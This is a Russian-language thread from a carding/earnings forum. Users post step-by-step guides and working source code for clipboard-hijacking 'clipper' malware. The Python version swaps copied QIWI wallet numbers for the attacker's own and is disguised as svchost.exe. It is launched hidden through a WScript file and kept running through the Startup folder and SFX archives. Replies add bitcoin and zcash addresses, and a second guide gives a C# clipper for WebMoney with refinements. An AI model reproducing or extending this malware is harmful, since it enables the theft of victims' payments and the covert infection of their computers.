• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Делаем Клиппер для подмены киви кошельков бесплатно!!!

Матрица

Участник
Сообщения
14
Реакции
17
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
Клиппер - программа, которая выполняет функцию подмены кошельков в буфере обмена. Во время оплаты, клиппер подменяет скопированные юзером адреса электронных кошельков и подменяет их на ваши.

сразу напешу что для этого понадобится python 3.5 https://www.python.org/downloads/
скачиваем,устанавливаем тут нечего сложного обезательно поставте галочку чтоб питон добавили в Patch
далее выходим из системы чтоб всё сохранилось
входим обратно нажимаем win+R
прописываем туда cmd и нажимаем ок
в консоле проверяем установился ли у нас питон командой python
если у нас выдало информацию о версии питона то всё норм еслеже нет то вы не поставили галочку напротив Patch
далее пишем в консоле
Код:
pip install pyperclip
ждём установки потом если не выдало ошибок пишем
Код:
pip install pyinstaller
проверяем всё ли установилось командой
Код:
pip list
далее открываем сам python
нажимаем файл,новый проект и вставляем мой код

Код:
import pyperclip
import time
while True:
num = pyperclip.paste()
c = 0
for i in num:
try:
int(i)
c += 1
except ValueError:
pass
if [s for s in num if s in '+']:
if int(c)==12:
pyperclip.copy("+3807********")
time.sleep(3)

if [s for s in num if s in '+']:
if int(c)==11:
pyperclip.copy("+790********")
time.sleep(3)

elif int(c)==12:
pyperclip.copy("3807********")
time.sleep(3)

elif int(c)==11:
pyperclip.copy("790********")
time.sleep(3)
далее сохраняем всё это в папку с нашим питоном и опять идём к консоле
в консоле заходим в папку где лежит файл.ру и пишим команду pyinstaller -F имя_файла.ру и все! (параметр -F создает один файл)
появился наш ехе файл в папке с питоном в папке dist это и есть наша основа вируса (проверьте всё ли работает должным образом)
далее создаем на рабочем столе папку называем как угодно и кидаем туда нашь ехе файл создаём текстовый документ.
открываем и вставляем туда код который будет запускать нашь ехе скрытно

Код:
var WSHShell = WScript.CreateObject("WScript.Shell");
WSHShell.Run("svchost.exe",0);
не забудьте переименовать нашь ехе в svchost.exe (как назовёте ехе такой и будет процес в диспечере)
когда вставили код нажимаем сохранить как и сохраняем с названием star2t и разширением js после сохранения у нас должен появится файл star2t.js
теперь создаём ещё один текстовый документ который будет отвечать за запуск нашего файла после перезагрузки пк
вставляем туда код

Код:
@Echo off
cd C:\LocalStorage\win32\drivers
star2t.js
C:\LocalStorage\win32\drivers

star2t.js это путь куда я буду распаковывать файлы вируса у вас он может быть другой




теперь сохраняем как нашь текстовик с названием start и расширением .bat после сохранения должен получится файл start.bat
теперь выделяем файлы svchost.exe и star2t.js и создаём sfx арзив с путём распаковки C:\LocalStorage\win32\drivers
обезательно ставим галочки на пунктах скрыть всё и перезапись без подтверждения
всё в графу инсталл ничего не вписываем
далее выделяем файл start.bat и тоже создаём sfx архив в путь уже прописываем
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
и тоже ставим галочки на протим скрыть всё и перезапись без подтвердждения но уже прописываем в графе инсталл start.bat чтоб после разпаковки он у нас запустился
теперь выделяем два наших sfx архива и тоже делаем из них тоже sfx архив
)путь распоковки C:\LocalStorage\win32\drivers галочки напротив спрятать всё и перезапись без последствий в инсталл порописываем запуск наших двух sfx архивов сначала с вирусом потом с батником можете ставить иконку вирус готов
фуд полностью чистый
 

PolBitnik

Местный
Сообщения
79
Реакции
63
0 руб.
Telegram
Jabber
Please note, if you want to make a deal with this user, that it is blocked.
Каким кодом можно добавить в этот клиппер: биткоин, монеро, zcash, dash, yandex money, и другие валюты и криптовалюты?
Я не силен в программировании. Спасибо заранее.
 

mr.green123

Резидент
Сообщения
186
Реакции
369
0 руб.
Каким кодом можно добавить в этот клиппер: биткоин, монеро, zcash, dash, yandex money, и другие валюты и криптовалюты?
Я не силен в программировании. Спасибо заранее.
В твоем случае проще купить на этом форуме за 500 рэ.
 

PolBitnik

Местный
Сообщения
79
Реакции
63
0 руб.
Telegram
Jabber
Please note, if you want to make a deal with this user, that it is blocked.

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
Купить то я куплю, просто хотел инфу, но как обычно получил «ноль», спасибо.
Копируешь условия if и ставишь проверку на приставку bitcoin/zcash кошелька и вставляя твой кошелек.
Как-то так)
 

PolBitnik

Местный
Сообщения
79
Реакции
63
0 руб.
Telegram
Jabber
Please note, if you want to make a deal with this user, that it is blocked.
Например так?

if [s for s in num if s in '1']:
if int(c)==33:
pyperclip.copy("1********")
time.sleep(3)

if [s for s in num if s in '1']:
if int(c)==34:
pyperclip.copy("1********")
time.sleep(3)
 

PolBitnik

Местный
Сообщения
79
Реакции
63
0 руб.
Telegram
Jabber
Please note, if you want to make a deal with this user, that it is blocked.
Вот разобрался наконец)
Биткоин и zcash

if [s for s in num if s in '1']:
if int(c)==33:
pyperclip.copy("bitcoin_adress")
time.sleep(3)

if [s for s in num if s in 't']:
if int(c)==34:
pyperclip.copy("zcash_adress")
time.sleep(3)

elif int(c)==33:
pyperclip.copy("bitcoin_adress")
time.sleep(3)

elif int(c)==35:
pyperclip.copy("zcash_adress")
time.sleep(3)

Вроде так, только не помню длинну zcash адреса, может не 35. Пишу с ведроида.
 

tufvh

Участник
Сообщения
14
Реакции
8
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
В этом гайде напишем клиппер за 5 минут(может быть и меньше)
Строки которые я дописал буду отмечать // (комментарий)
Вся информация предоставляется исключительно в ознакомительных целях!
Я не рекомендую использовать ее в ущерб кому-либо.

Создадим проект .Net 2.0 Console Application и придумаем незамысловатое название
9jmpAX7eSo_HqUPhZnCpZg.png



Дальше заходим в свойства проекта и в "Тип выходных данных:" ставим Приложение Windows
y3gLk8gARVSL8gsrEW8GdQ.png


Теперь проблем со скрытием окна приложения не будут,переходим к кодингу.

Создадим статический метод start и добавим его в Main
Код:
static void Main(string[] args)
{
start(); //
}

static void start() //
{

}
Создадим цикл while с условием true,чтобы выполнялся бесконечно.
Код:
static void start()
{
while(true) //
{

}
}
Создаем метод(не забываем про static) replace и вставим его в цикл while.
Код:
static void start()
{
while(true)
{
replace(); //
}
}

static void replace()
{

}
Также сделаем заддержку для работы этого цикла.
Подключим System.Threading и впишем Thread.Sleep(100); (в миллисекундах)
Код:
static void start()
{
while(true)
{
Thread.Sleep(100); //
replace();
}
}
Переходим уже к самой замене,для примера будет wmr кошелек
Создадим глобальную статическую переменную string с названием wmr
Код:
static string my_wmr = "R339005555555";
Переходим к методу replace
Подключим System.Windows.Forms для работы с буффером обмена
dXJELFAqSim1OtUGn2pS8Q.png


Чтобы не было проблем в дальнейшем нужно добавить такую строчку перед Main
Код:
[STAThread]
Код:
[STAThread] //
static void Main(string[] args)
{
start();
}
Создадим условие если буффер не имеет данных(текстовых) или равен "", то метод возвращается(return);
Код:
static void replace()
{
if (Clipboard.GetText() == null || Clipboard.GetText()=="") //
return;
}
Дальше задаем переменную которая будет равна буферу обмена
Код:
string buffer = Clipboard.GetText();
Код:
static void replace()
{
if (Clipboard.GetText() == null || Clipboard.GetText()=="")
return;

string buffer = Clipboard.GetText(); //
}
Теперь самое сложное.
Нужно сделать условие c проверкой буфера на наличие кошелька.
Создадим статический метод bool с названием checkwmr,с параметром string text и в конце дописываем return false;
Код:
static bool checkwmr(string text)
{

return false;
}
Создадим условие если первая буква равна R и количество символов равно 13 то возвращается true
Код:
static bool checkwmr(string text)
{
if (text[0].ToString() == "R" && text.Length==13) //
return true;

return false;
}
Возвращаемся обратно к replace.
Создаем условие если checkwmr с параметром buffer(буфер обмена) возвращает true и буфер не равен переменной my_wmr(наш кошелек),то происходит замена буфера обмена на переменную my_wmr(наш кошелек)
Код:
static void replace()
{
if (Clipboard.GetText() == null || Clipboard.GetText()=="")
return;

string buffer = Clipboard.GetText(); //

if (buffer != my_wmr && checkwmr(buffer)) //
{
Clipboard.SetText(my_wmr); // Замена
}
}
В принципе на этом все. Клиппер готов. Надеюсь все достаточно понятно.Про автозагрузку не говорил,так как лучше думаю этому лучше посвятить отдельную тему.

Тема рассчитана для новичков. Замечания приветствуются.

пароль: kaidoz
Исходники





Clipboard.GetText() == null || Clipboard.GetText()==""
string.IsNullOrEmpty(string); -- Это просто как удобство


text[0].ToString()
text[0] == 'R';


А можно использовать регулярку, сам по себе Clipboard.GetText(); не вернет null, а при пробельном или пустой строке регулярка выдаст false.
Можно некоторые вещи убрать, упростить.



А еще лучше в try/catch обернуть, ибо Clipboard иногда багует и он выбрасывает исключение
Runtime.InteropServices.ExternalException
C#:
private static void Replace()
{
string buffer;
try{ buffer = Clipboard.GetText(); }
catch { return; }

if (!Regex.IsMatch(buffer, @"\w{1}\d{12}"))
return;

switch (buffer[0])
{
case 'R': Clipboard.SetText(Wmr); break;
case 'Z': Clipboard.SetText(Wmz); break;
case 'U': Clipboard.SetText(Wmu); break;
}
}




C#:
if (!Regex.IsMatch(buffer, @"\w{1}\d{12}"))
Проверка, соответствует ли переменная buffer, регулярке.
 
Сверху Снизу